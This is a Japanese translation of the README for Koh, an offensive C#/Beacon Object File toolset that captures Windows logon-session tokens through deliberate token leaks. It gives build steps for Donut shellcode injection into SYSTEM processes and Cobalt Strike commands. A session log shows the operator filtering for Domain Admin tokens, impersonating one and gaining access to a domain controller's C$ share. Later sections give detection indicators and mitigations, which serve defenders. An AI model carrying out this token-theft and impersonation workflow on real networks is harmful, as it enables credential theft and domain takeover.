
トークン漏洩を介してWindowsログオンセッショントークンをキャプチャし、資格情報の再利用となりすましを可能にします。Cobalt Strike BOF統合により、ポストエクスプロイテーションでのトークン窃取を実現します。
Kohは、意図的なトークン/ログオンセッションの漏洩を介してユーザー資格情報素材をキャプチャすることを可能にするC#およびBeacon Object File (BOF) ツールセットです。
コードの一部は、Elad Shamir 氏の Internal-Monologue プロジェクト(ライセンスなし)および KB180548 に触発されています。これが可能な理由とKohのアプローチについては、このREADMEの 技術的背景 セクションを参照してください。
Kohの背後にある動機とそのアプローチの詳細な説明については、Koh: The Token Stealer の投稿を参照してください。
@harmj0y がこのコードベースの主な作成者です。 @tifkin_ は、アプローチ、BOF実装、およびいくつかのトークンメカニズムの支援を行いました。
KohはBSD 3-Clauseライセンスの下でライセンスされています。
Koh「サーバー」はトークンをキャプチャし、制御/通信のために名前付きパイプを使用します。これは Donut でラップされ、任意の 高整合性 SYSTEMプロセスに注入できます(インラインのShenanigansバグを参照)。
Kohのバイナリをリリースする予定はないため、自分でコンパイルする必要があります :)
Kohは.NET 4.7.2に対してビルドされており、Visual Studio 2019 Community Editionと互換性があります。プロジェクトの.slnを開き、「Release」を選択してビルドするだけです。Koh.exe アセンブリと Donutでビルドされた PIC Koh.bin がメインディレクトリに出力されます。Donut blobはx86/x64の両方に対応しており、./Misc/Donut.exe にあるDonut v0.9.3を使用して以下のオプションでビルドされています:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
DonutのライセンスはBSD 3-Clauseです。
### 使用法
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - (非ネットワーク)ログオンセッションを一覧表示します
* **monitor** - 新規/ユニークな(非ネットワーク)ログオンセッションを監視します
* **capture** - 新しい(非ネットワーク)ログオンセッションに対して見つかったSIDごとに1つのユニークなトークンをキャプチャします
グループSIDもコマンドラインで指定でき、これによりKohはネゴシエートされたトークン情報に指定されたグループSIDを含むログオンセッションのみを監視/キャプチャします。
### 例 - ログオンセッションの一覧表示```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
トークン情報にドメイン管理者(-512)グループSIDを含む結果のみを表示します:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh クライアント
現在使用可能なクライアントは、`.\Clients\BOF\` にある Beacon Object File です。`.\Clients\BOF\KohClient.cna` アグレッサスクリプトを Cobalt Strike クライアントにロードして、Koh サーバーの BOF 制御を有効にします。キャプチャしたトークンを使用するための唯一の要件は **SeImpersonatePrivilege** です。通信に使用する名前付きパイプは "Everyone" DACL を持っていますが、基本的な共有パスワード(超安全)を使用します。
Linux 上で Mingw を使用して新規にコンパイルするには、`.\Clients\BOF\build.sh` スクリプトを参照してください。唯一の要件は(少なくとも Debian では)`apt-get install gcc-mingw-w64` です。
### 使用方法```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
koh filter add S-1-5-21-<DOMAIN>-<RID> コマンドは、指定されたグループSIDを含むトークンのみをキャプチャします。このコマンドは複数回実行して、キャプチャするSIDを追加できます。これにより、大量のトークンリークによる可能性のある安定性の問題を防ぐことができます。
各新しいセッションに対して使用可能なトークンをネゴシエートすることで、ログオンセッションを「キャプチャ」します。
サーバー:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF クライアント:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
システム上に新しいログオンセッションが確立されると、LSASS によって NtCreateToken() API 呼び出しを使用して新しいトークンが作成され、LsaLogonUser() の呼び出し元に返されます。これにより、ログオンセッションのカーネル構造体の ReferenceCount フィールドが増加します。この ReferenceCount が 0 に達すると、ログオンセッションは破棄されます。なぜこれが可能かのセクションで説明されている情報により、Windows システムは、トークンハンドルがまだ存在する場合(つまり、参照カウントが 0 ではない場合)、ログオンセッションを解放しません。
したがって、トークンを介して新しく作成されたログオンセッションへのハンドルを取得できれば、そのログオンセッションを開いたままにし、後でそのトークンを偽装して、それに含まれるキャッシュされた資格情報を利用できます。
Microsoft のエンジニアによるこの投稿 によると:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) は Windows 7/Server 2008 に遡って適用されたため、このアプローチは Server 2003 システムを除くすべてのシステムで有効であるはずです。
## アプローチ
ログオンセッションの列挙は(昇格されたコンテキストから)[LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) Win32 API を使用することで簡単です。より難しいのは、特定のログオンセッション識別子(LUID)を取得し、そのセッションにリンクされた使用可能なトークンを _何とかして_ 取得することです。
### 可能なアプローチ
ログオンセッションを開いたまま保持する方法と、これをトークンの偽装/キャッシュされた資格情報の悪用に利用する方法をいくつか検討しました。
1. 最初のアプローチは、ログオンセッションID(LUID)を指定して新しいトークンを作成できる **NtCreateToken()** を使用することでした。
* 残念ながら、伝統的にLSASSのみが保持する **SeCreateTokenPrivilege** が必要であり、LSASSのトークンを奪う必要があるため、理想的ではありません。
* 可能性の一つとして、LSAポリシーの変更を介してNT AUTHORITY\SYSTEMに **SeCreateTokenPrivilege** を追加することが考えられますが、これには新しいユーザー権限を反映させるために再起動または新しいログオンセッションが必要です。
2. また、**WTSQueryUserToken()** を使用して新しいデスクトップセッションのトークンを複製することで、RemoteInteractiveログオンセッションのみに焦点を当てることもできます。
* これは [Ryan が実演した](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472) アプローチのようです。
* 残念ながら、これでは新しく作成されたローカルセッションやPSEXECなどから作成された着信セッションを見逃してしまいます。
3. 新しいログオンセッションで、到達可能なすべてのプロセスのハンドルを開き、既存のすべてのハンドルを列挙し、新しいログオンセッションにリンクされたトークンを複製します。
* これには多数のプロセス/ハンドルを開く必要があり、非常に疑わしく見えます。
4. 以下に説明する **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** アプローチが、私たちが採用したものです。
### 私たちのアプローチ
SSPIの [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) 呼び出しには、次のように記載されている **pvLogonID** フィールドがあります:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
注: AcquireCredentialsHandle() でログオンセッションのLUIDを使用するには、SeTcbPrivilege が必要です。ただし、これは通常 SeCreateTokenPrivilege よりも取得が容易です。
ログオンセッションID/LUIDを指定してこの呼び出しを使用すると、ログオンセッション構造のReferenceCountが増加し、解放されないように見えます。しかし、別の問題が生じます。「漏洩した」/保持されているログオンセッションが与えられた場合、そこから使用可能なトークンを取得するにはどうすればよいでしょうか? WTSQueryUserToken() はデスクトップセッションでのみ動作し、LUIDを使用可能なトークンにマッピングできるユーザーランドAPIは見つかりませんでした。
しかし さらに2つのSSPI関数、InitializeSecurityContext() と AcceptSecurityContext() を使用して、自分自身に対してクライアントとサーバーとして動作し、新しいセキュリティコンテキストをネゴシエートし、その後 QuerySecurityContextToken() を使用して使用可能なトークンを取得できます。これは、資格情報の検証を目的としてKB180548(PKISolutionsによるミラー)に文書化されています。これは Internal-Monologue と同様のアプローチですが、私たちはハンドシェイクプロセス全体を完了し、トークンを生成し、それを後で使用するために保持する点が異なります。
次に、トークン自体に対してフィルタリングを行うことができます。CheckTokenMembership() または GetTokenInformation() を使用します。例えば、ドメイン管理者やターゲットとする特定のグループに属するトークンを除いて、すべてのトークンを解放することができます。
私はかなりの期間コーディングをしてきましたが、これはしばらくの間遭遇した中でも奇妙で追跡が困難なバグの1つです。助けてください笑
Koh.exeアセンブリが昇格された(ただしSYSTEMではない)コンテキストから実行されると、すべてが正常に動作します。
Koh.exeアセンブリが、昇格された(ただしSYSTEMではない)コンテキストからCobalt StrikeのBeacon fork&runプロセス(execute-assembly)を介して実行されると、すべてが正常に動作します。
SYSTEMコンテキストで実行されているCobalt Strike Beaconに対して、Koh.exeアセンブリが_インライン_で(InlineExecute-Assembly または Inject-Assembly を介して)実行されると、すべてが正常に動作します。
ただし、昇格された(ただしSYSTEMではない)コンテキストで実行されているCobalt Strike Beaconに対して、Koh.exeアセンブリが_インライン_で(InlineExecute-Assembly または Inject-Assembly を介して)実行されると、AcquireCredentialsHandle() の呼び出しが SEC_E_NO_CREDENTIALS で失敗し、すべてが失敗します ¯\_(ツ)_/¯
私たちは試しました(成功せず):
実質的に、AcquireCredentialsHandleへの呼び出し直前のスレッドコンテキストはこのコンテキストで機能しますが、結果はエラーになります。そしてその理由はまったくわかりません。
これが何であるか思い当たる方は、ぜひお知らせください!また、よりシンプルなアセンブリで試してみたい場合は、トラブルシューティングのために私のGitHubにある AcquireCredentialsHandle リポジトリをチェックしてください。
@tifkin_ の言葉を借りれば、"誰かが探しに行くまでは、すべてはステルスである。" Kohのアプローチは他のものとは少し異なりますが、それでも検出に使用できるIOCがあります。
C# KohコレクターのユニークなTypeLib GUIDは、このリポジトリのKoh.yar Yaraルールに詳述されているように 4d5350c8-7f8c-47cf-8cde-c752018af17e です。コンパイル時に変更されていない場合、これはKohサーバーの非常に高信頼性の指標となるはずです。
Kohサーバーが起動すると、\\.\pipe\imposecost という名前付きパイプが開かれ、Kohが実行されている間は開いたままになります。Koh通信に使用されるデフォルトのパスワードは password なので、任意の \\.\pipe\imposecost パイプに password list を送信すると、Kohが実際に実行されているかどうかを確認できます。使用されるデフォルトの権限借用パイプは \\.pipe\imposingcost です。
Kohが昇格されたコンテキストで起動したがSYSTEMではない場合、winlogon のハンドル/トークンのクローンが実行され、getsystem タイプの昇格が行われます。
攻撃者が上記の指標を変更しないことを確信しています。
トークンキャプチャに関するRPCアーティファクトがいくつかある可能性があり、調査したいと考えています。この線に沿った追加の検出アーティファクトが見つかった場合は、READMEのこのセクションを更新します。Kohが使用する可能性のある珍しいAPI(LsaEnumerateLogonSessions や、特に AcquireCredentialsHandle でLUIDを使用する特定のAcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext)のフックは、有効性を調査できますが、あいにく私はEDRではありません。
Koh: The Token Stealer の記事を公開した後、@cnotin と @SteveSyfuhs の間で、結果的にこのアプローチの部分的な緩和策となったものについて素晴らしい やり取り がありました。
KB2871997 パッチでは、TokenLeakDetectDelaySecs 設定が導入されました。これは "ログオフしたユーザーのすべての資格情報を消去する" をトリガーします。実際、デフォルトでは、「Protected Users Security Group」 のメンバーはレジストリ設定に関係なくこの動作が強制されます。ただし、この値をゼロ以外に設定すると、ユーザーがログオフしたときにメモリからすべての資格情報が消去されます。具体的には、Steve が述べているように: 設定すると、セッションの*インタラクティブ*ログオフイベントでタイマーが開始され、タイマーが切れるとそれに結びついているものをすべてパージします。デフォルトではオフ。Protected Usersは常にオンで、デフォルトは30秒です。
上記の段落で注意すべき重要な点が2つあります:「ログオフイベント」と「インタラクティブ」です。これにより、ユーザーの資格情報が消去されない状況がいくつか発生する可能性があります:
runas や runas /netonly タイプの生成などで資格情報が存在する場合、プロセスが停止してもログオフイベントは発生せず、資格情報/トークンは依然としてキャプチャ可能です。(NetworkClearTextのような他のログオン状況もテストする必要があります。)
ただし、ユーザーが「Protected Users Security Group」に属しているか、TokenLeakDetectDelaySecs がゼロ以外であり、ユーザーがインタラクティブまたはリモートインタラクティブ(RDP)セッションから積極的にログオフした場合、資格情報は消去されます。Kohをプログラムして、これらの特定のタイプの状況にうまく対処できるようにする必要があります。
要約すると、機密性の高いユーザーには「Protected Users Security Group」を実際に使用し、環境で TokenLeakDetectDelaySecs を30などの値に設定できるかどうかを確認する必要があります。